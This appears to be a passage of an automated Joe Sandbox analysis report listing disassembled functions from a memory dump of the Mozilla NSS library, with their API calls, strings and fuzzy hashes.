SEC_ASN1DecodeItem_Util.NSS3(?,?,6CBA1DE0,?), ref: 6CAD6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAD6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CAD6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CAD6D82
DER_GetInteger_Util.NSS3(?), ref: 6CAD6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAD6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CAD6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CAD6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CAD6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CAD6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CAD7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CAD7033
free.MOZGLUE(?), ref: 6CAD703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CAD7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CAD7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CAD70AF

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 6e35576eca51e2962ee11cdfe7091f87acce765efe4dc6d67c6aeacfc563b9c3
Instruction ID: 7723654eee761290bab966682dea6d47146d8d7079305e7bff81b2aa2d167bc6
Opcode Fuzzy Hash: 6e35576eca51e2962ee11cdfe7091f87acce765efe4dc6d67c6aeacfc563b9c3
Instruction Fuzzy Hash: 26A12A719086019BEB008F24DC45B5B32A5EB8530CF2A8D39E959CBB81E735F8C9C793

Function 6CAB25D0 Relevance: 24.3, APIs: 16, Instructions: 284COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,?,-00000001,?,?,?,6CA8662E,?,?), ref: 6CAB264E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CA8662E,?,?), ref: 6CAB2670
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CA8662E,?), ref: 6CAB2684
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CAB26C2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6CAB26E0
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CAB26F4
PR_Unlock.NSS3(?), ref: 6CAB274D
PR_SetError.NSS3(00000000,00000000), ref: 6CAB28A9

Part of subcall function 6CAC3440: PK11_GetAllTokens.NSS3 ref: 6CAC3481
Part of subcall function 6CAC3440: PR_SetError.NSS3(00000000,00000000), ref: 6CAC34A3
Part of subcall function 6CAC3440: TlsGetValue.KERNEL32 ref: 6CAC352E
Part of subcall function 6CAC3440: EnterCriticalSection.KERNEL32(?), ref: 6CAC3542
Part of subcall function 6CAC3440: PR_Unlock.NSS3(?), ref: 6CAC355B

PR_Unlock.NSS3(?), ref: 6CAB27A1
PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,?,-00000001,?,?,?,6CA8662E,?,?,?), ref: 6CAB27B5
PR_Unlock.NSS3(?), ref: 6CAB27CE
TlsGetValue.KERNEL32 ref: 6CAB27E8
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAB2800

Part of subcall function 6CABF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CABF854
Part of subcall function 6CABF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CABF868
Part of subcall function 6CABF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CABF882
Part of subcall function 6CABF820: free.MOZGLUE(04C483FF,?,?), ref: 6CABF889
Part of subcall function 6CABF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CABF8A4
Part of subcall function 6CABF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CABF8AB
Part of subcall function 6CABF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CABF8C9
Part of subcall function 6CABF820: free.MOZGLUE(280F10EC,?,?), ref: 6CABF8D0

PR_Unlock.NSS3(?), ref: 6CAB2834
TlsGetValue.KERNEL32 ref: 6CAB284E
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAB2866

Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607AD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607CD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607D6
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C9F204A), ref: 6CA607E4
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,6C9F204A), ref: 6CA60864
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA60880
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,6C9F204A), ref: 6CA608CB
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608D7
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608FB

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$CriticalSection$Unlock$Enterfree$DeleteError$K11_calloc$ImportPublicTokens
String ID:
API String ID: 544520609-0
Opcode ID: fb14b6b18f4d1676e620e2693a763f83b3f51de3ebe0b8b6fce3f936fabaf0f8
Instruction ID: 8322d34541597f83b0b7f6a1eb01c21bc9583405b737495ab152352388764035
Opcode Fuzzy Hash: fb14b6b18f4d1676e620e2693a763f83b3f51de3ebe0b8b6fce3f936fabaf0f8
Instruction Fuzzy Hash: 70B1D674D00605DFDB00DF68D988BAAB7B8FF09318F54462AE815B7B01E731E995CBA1

Function 6CA9AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA7AB95,00000000,?,00000000,00000000,00000000), ref: 6CA9AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CA7AB95,00000000,?,00000000,00000000,00000000), ref: 6CA9AF39
PR_Unlock.NSS3(?,?,?,6CA7AB95,00000000,?,00000000,00000000,00000000), ref: 6CA9AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CA7AB95,00000000,?,00000000,00000000,00000000), ref: 6CA9AF69
TlsGetValue.KERNEL32 ref: 6CA9B06B
EnterCriticalSection.KERNEL32(?), ref: 6CA9B083
PR_Unlock.NSS3(?), ref: 6CA9B0A4
TlsGetValue.KERNEL32 ref: 6CA9B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CA9B0D9
PR_Unlock.NSS3 ref: 6CA9B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA9B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA9B182

Part of subcall function 6CACFAB0: free.MOZGLUE(?,-00000001,?,?,6CA6F673,00000000,00000000), ref: 6CACFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CA9B177

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CA7AB95,00000000,?,00000000,00000000,00000000), ref: 6CA9B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CA7AB95,00000000,?,00000000,00000000,00000000), ref: 6CA9B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CA7AB95,00000000,?,00000000,00000000,00000000), ref: 6CA9B1C2

Part of subcall function 6CAC1560: TlsGetValue.KERNEL32(00000000,?,6CA90844,?), ref: 6CAC157A
Part of subcall function 6CAC1560: EnterCriticalSection.KERNEL32(?,?,?,6CA90844,?), ref: 6CAC158F
Part of subcall function 6CAC1560: PR_Unlock.NSS3(?,?,?,?,6CA90844,?), ref: 6CAC15B2

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 8f32bc8c1ca6f589102b51f061089cd3cd2127c143a4ceecf249ffed6becfb09
Instruction ID: 943dd1ec00aa2f71e0122d05fa890580ce0871fa7ccdec73800c0bd14da4733c
Opcode Fuzzy Hash: 8f32bc8c1ca6f589102b51f061089cd3cd2127c143a4ceecf249ffed6becfb09
Instruction Fuzzy Hash: CEA1B2B5E002059BEF009F64ED42BEEB7B4EF08308F144125E909A7751E731E9D9CBA1

Function 6CABE550 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 384COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABE5A0

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

memcpy.VCRUNTIME140(?,?,?), ref: 6CABE5F2

Strings

0, xrefs: 6CABEA4D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ErrorValuememcpy
String ID: 0
API String ID: 3044119603-4108050209
Opcode ID: 9846cf5044fe4b8cd49ced12290850ffba96a7ab63c81d3765e2e4c2a64a9c08
Instruction ID: fea58f92b0529a46cdf027c978522afbe683bb3b27e261f672dced2dc27935e0
Opcode Fuzzy Hash: 9846cf5044fe4b8cd49ced12290850ffba96a7ab63c81d3765e2e4c2a64a9c08
Instruction Fuzzy Hash: 44F16F759002199BDB218F64DC84BDA77B9BF49318F0841E8E908A7641E775EED8CFD0

Function 6CB4A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB4A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB4A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB4A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB4A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB4A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB4A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB4A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB4A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB4A69A

Strings

%s at line %d of [%.10s], xrefs: 6CB4A62C
database corruption, xrefs: 6CB4A627
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB4A61D, 6CB4A68B, 6CB4A6B3

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: fa50cabf311b0595b9a7bf968e1e191410268465eed3b3cbc5a607da686cbe0c
Instruction ID: 23ca88c34660332bf0b5158528af26ffe28e8ed2f3c728f4aefd6211e4f14787
Opcode Fuzzy Hash: fa50cabf311b0595b9a7bf968e1e191410268465eed3b3cbc5a607da686cbe0c
Instruction Fuzzy Hash: 9251B4B590C390ABDB018F25D890A9E7BE4EF44318F048839F8895BA45E771DD84DF93

Function 6CA745B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,6CA71984,?), ref: 6CA745F2
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CA745FB

Part of subcall function 6CAD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD08B4

SECITEM_CompareItem_Util.NSS3(00000000,-00000001), ref: 6CA7461E

Part of subcall function 6CACFCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6CA74101,00000000,?,?,?,6CA71666,?,?), ref: 6CACFCF2

SECITEM_CopyItem_Util.NSS3(00000000,?,-00000019), ref: 6CA74646
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA74662
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CA7467A
PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0), ref: 6CA74691
PL_FreeArenaPool.NSS3 ref: 6CA746A3
PL_FinishArenaPool.NSS3 ref: 6CA746AB
free.MOZGLUE(?), ref: 6CA746BC
PORT_ZAlloc_Util.NSS3(?), ref: 6CA746E5
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA74717

Strings

security, xrefs: 6CA745EC

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$ArenaItem_Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_freememcmpmemcpy
String ID: security
API String ID: 3482804875-3315324353
Opcode ID: ba5f3d973a2695e47fcedf25c3306815104db847cea53c455b85195745aa263b
Instruction ID: 08e6a3fea2588bd4c17b0b946c62cd401fba13d97d2cb13a3de35b7832d596bf
Opcode Fuzzy Hash: ba5f3d973a2695e47fcedf25c3306815104db847cea53c455b85195745aa263b
Instruction Fuzzy Hash: 6F412BBAA043506BD7108B25DC44B9B77D8FF4435CF090529EC19A3B41E731E598CBE6

Function 6CAEAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAEADB1

Part of subcall function 6CACBE30: SECOID_FindOID_Util.NSS3(6CA8311B,00000000,?,6CA8311B,?), ref: 6CACBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CAEADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CAEAE08

Part of subcall function 6CACB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBA18D0,?), ref: 6CACB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAEAE25
PL_FreeArenaPool.NSS3 ref: 6CAEAE63
PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0), ref: 6CAEAE4D

Part of subcall function 6C9F4C70: TlsGetValue.KERNEL32(?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4C97
Part of subcall function 6C9F4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4CB0
Part of subcall function 6C9F4C70: PR_Unlock.NSS3(?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAEAE93
PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0), ref: 6CAEAECC
PL_FreeArenaPool.NSS3 ref: 6CAEAEDE
PL_FinishArenaPool.NSS3 ref: 6CAEAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAEAEF5
PL_FinishArenaPool.NSS3 ref: 6CAEAF16

Strings

security, xrefs: 6CAEADEE

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 20e6d20a3ac8de34a08bee5914f2deebe254e12e6de18d9681d962a683de6ac1
Instruction ID: 49f6c974631a993568e8b27bcfd175d1631cfe8e9b9e82841b7e913aa799c5ab
Opcode Fuzzy Hash: 20e6d20a3ac8de34a08bee5914f2deebe254e12e6de18d9681d962a683de6ac1
Instruction Fuzzy Hash: 92417AB290422067E7204B189C44BAA36BAAF4A31CF180525E81593F41F735AEC8D7E3

Function 6CAA6650 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 117COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptInit), ref: 6CAA6676
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA66A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA66B3

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA66C9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAA66E8
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAA6716
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA6728
PR_LogPrint.NSS3(?,00000000), ref: 6CAA673E

Strings

hKey = 0x%x, xrefs: 6CAA6700, 6CAA6710
pMechanism = 0x%p, xrefs: 6CAA66E3
(CK_INVALID_HANDLE), xrefs: 6CAA66AC, 6CAA671E
C_DecryptInit, xrefs: 6CAA6671
hSession = 0x%x, xrefs: 6CAA668E, 6CAA669E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptInit
API String ID: 1003633598-277163776
Opcode ID: fa6fac3fc1fda5d8c5091c1481887c202cf13f9e4743f0c50e995af9b7265471
Instruction ID: 8cea123643ecabfe5ef101f92c41d9c6126edfc30af3eaab09851f99cfe5b8a4
Opcode Fuzzy Hash: fa6fac3fc1fda5d8c5091c1481887c202cf13f9e4743f0c50e995af9b7265471
Instruction Fuzzy Hash: BA411935602190EBDB049F98DD98F9E7775EB4631CF084029E90897B11DB30AC8DCF96

Function 6CAA6500 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_EncryptFinal), ref: 6CAA6526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA6554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA6563

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA6579
PR_LogPrint.NSS3( pLastEncryptedPart = 0x%p,?), ref: 6CAA6595
PR_LogPrint.NSS3( pulLastEncryptedPartLen = 0x%p,?), ref: 6CAA65B0
PR_LogPrint.NSS3( *pulLastEncryptedPartLen = 0x%x,?), ref: 6CAA661A

Strings

C_EncryptFinal, xrefs: 6CAA6521
*pulLastEncryptedPartLen = 0x%x, xrefs: 6CAA6615
pLastEncryptedPart = 0x%p, xrefs: 6CAA6590
(CK_INVALID_HANDLE), xrefs: 6CAA655C
pulLastEncryptedPartLen = 0x%p, xrefs: 6CAA65AB
hSession = 0x%x, xrefs: 6CAA653E, 6CAA654E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastEncryptedPartLen = 0x%x$ hSession = 0x%x$ pLastEncryptedPart = 0x%p$ pulLastEncryptedPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_EncryptFinal
API String ID: 1003633598-2178457252
Opcode ID: 9d598c0100c08f52001f90ec68fdd020def754899d22d06871828befa09f15be
Instruction ID: 20fe3ae2af7d2505438e035da4a7362866c12fbfafad2dccb1800108bd45ca95
Opcode Fuzzy Hash: 9d598c0100c08f52001f90ec68fdd020def754899d22d06871828befa09f15be
Instruction Fuzzy Hash: 033107356021D1EFDB048F98ED58F9A7BB5EB46319F084025E80897B11DB30AD8DCF92

Function 6CA88DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CA88E22
EnterCriticalSection.KERNEL32(?), ref: 6CA88E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CA88E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CA88E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CA88E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA88EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CA88EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CA88EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CA88F00
free.MOZGLUE(?), ref: 6CA88F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CA88F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CA88F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CA88F5B
PR_Unlock.NSS3(?), ref: 6CA88F72
PR_Unlock.NSS3(?), ref: 6CA88F82

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
